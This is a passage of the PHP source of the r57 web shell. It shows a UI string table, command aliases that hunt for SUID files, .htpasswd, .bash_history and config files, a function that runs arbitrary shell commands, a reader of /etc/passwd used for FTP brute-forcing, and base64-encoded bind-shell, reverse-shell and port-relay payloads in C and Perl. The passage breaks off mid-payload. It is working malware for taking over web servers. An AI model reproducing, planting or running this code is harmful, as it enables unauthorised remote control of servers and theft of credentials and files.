'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_butt15'=>'Send',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_err0'=>'Error! Can\'t write in file ',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
);
/*
?????? ??????
????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
?? ?????? ???? ????????? ??? ???????? ???????.
*/
$aliases=array(
'find suid files'=>'find / -type f -perm -04000 -ls',
'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
'find sgid files'=>'find / -type f -perm -02000 -ls',
'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
'find config.inc.php files'=>'find / -type f -name config.inc.php',
'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find / -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .htpasswd files'=>'find / -type f -name .htpasswd',
'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
'list file attributes on a Linux second extended file system'=>'lsattr -va',
'show opened ports'=>'netstat -an | grep -i listen',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
$table_up2 = " ::</div></b></font></td></tr><tr><td>";
$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";

if(isset($_GET['users']))
{
if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
else
{
echo '<center>';
foreach($users as $user) { echo $user."<br>"; }
echo '</center>';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}

if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
{
$os = getenv('OS');
if(empty($os)){ $os = php_uname(); }
if(empty($os)){ $os ="-"; $unix=1; }
else
{
if(@eregi("^win",$os)) { $unix = 0; }
else { $unix = 1; }
}
}
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
{
echo $head;
if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
$sr->SearchText(0,0);
$res = $sr->GetResultFiles();
$found = $sr->GetMatchesCount();
$titles = $sr->GetTitles();
$r = "";
if($found > 0)
{
$r .= "<TABLE width=100%>";
foreach($res as $file=>$v)
{
$r .= "<TR>";
$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
$r .= (!$unix)? str_replace("/","\\",$file) : $file;
$r .= "</b></font></ TD>";
$r .= "</TR>";
foreach($v as $a=>$b)
{
$r .= "<TR>";
$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
$r .= "</TR>\n";
}
}
$r .= "</TABLE>";
echo $r;
}
else
{
echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function get_users()
{
$users = array();
$rows=file('/etc/passwd');
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(":",$string);
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." ";
if($size != 0) { $ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err(0);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
}
function DirFilesR($dir,$types='')
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != "." && $file != "..")
{
if(@is_dir($dir."/".$file))
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
$pos = @strrpos($file,".");
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(';',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
@closedir($handle);
}
return $files;
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter='')
{
$dirs = @explode(";",$dir);
$this->FilesToSearch = Array();
for($a=0;$a<count($dirs);$a++)
$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() { return $this->FilesTotal; }
function GetTitles() { return $this->titles; }
function GetTimeTotal() { return $this->TimeTotal; }
function GetMatchesCount() { return $this->MatchesCount; }
function GetFileMatchesCount() { return $this->FileMatchesCount; }
function GetResultFiles() { return $this->ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(' ',$this->text);
$delim = '|';
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = '\b'.$v.'\b';
$words = '('.@implode($delim,$qq).')';
$pattern = "/".$words."/";
if(!$case)
$pattern .= 'i';
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = '';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
$this->ResultFiles[$filename][$a+1] = $CurString;
$this->MatchesCount += $count;
$this->FileMatchesCount[$filename] += $count;
}
}
}
$this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(" ",@microtime());
return ((float)$usec + (float)$sec);
}
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLm g+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4u aD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYy xhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQ sIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja 2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW 5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQg PSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyI D0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2t ldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3 Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTs NCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja 2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCi AgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFz c3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogI CBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0 oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQog ICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCi AgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmF zZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO 2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbi cpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ld ID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc 2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaS I7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJ vdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0K FMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IG NyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NP Q0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFT l9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiB wb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4i Ow0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoIS gkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICR waWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET 1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTC B8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVM TFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gIm x5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZX Q9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1p bmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyP XNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJ yb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2Nr ZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3 RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGR yKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOL CAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1 RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsN CmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2 tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50 IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhci BybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWl seSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoY XRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkci hhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJn dlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVUL CBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKCh jb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1 Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY2 9ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzB dKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KI GR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2 ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy 9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2lu Y2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5o Pg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm 5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiN pbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST 1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbm VycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7 DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgK GVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR 1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywg YXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndj sgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWx lOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZ GRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpem VvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBz dHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuY nl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHN ob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0 ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IH JlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGE gPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZ XRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YW RkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFy Z3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJnd lsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2l nbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2Nr ZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKS kgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDs NCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfS U5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZi AoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkg ew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZ iAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGl zdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmso KSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgIC ByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0 KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2Vwd Chsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID 0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9 IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9ya zogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV 0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250 aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgIC AgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh 3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9D QogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZX QoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkg PT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsI HN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiA gfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIu c2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2 FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29 ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkge w0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm 9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3 aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc 2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkR fU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAg IEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdC gyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnB yaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlc nJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKE ZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29j aywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwO TYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHd yaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0g ZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0 lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29 jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgI CAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdD I7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24o b3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNma WxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQo gIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZS BQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0 I
